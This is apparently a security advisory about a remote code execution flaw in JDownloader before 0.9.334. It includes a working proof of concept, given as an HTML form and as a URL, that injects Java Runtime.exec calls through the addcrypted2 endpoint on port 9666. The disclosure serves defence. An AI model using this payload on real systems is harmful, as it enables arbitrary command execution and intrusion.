source: https://www.securityfocus.com/bid/38143/info

JDownloader is prone to a vulnerability that lets remote attackers execute arbitrary code.

Attackers can exploit this issue to execute arbitrary code within the context of the affected webserver process.

Versions prior to JDownloader 0.9.334 are vulnerable. 

<form action="http://www.example.com:9666/flash/addcrypted2" method="post">
<textarea name="jk">
function f() {
    var run = java.lang.Runtime.getRuntime();
    run.exec('/usr/bin/xclock');

    return '42';
}
&lt;/textarea&gt;
<input type="hidden" name="passwords" value="invalid" />
<input type="hidden" name="source" value="http://example.com/invalid" />
<input type="hidden" name="crypted" value="invalid" />
<input type="submit" value="CLICK" />
</form>

or:

http://www.example.com:9666/flash/addcrypted2?jk=function+f()+%7B+var+run+%3D
+java.lang.Runtime.getRuntime()%3B+run.exec('%2Fusr%2Fbin%2Fxclock')%3B
+return+'42'%3B+%7D&passwords=invalid&source=http://example.com/invalid
&crypted=invalid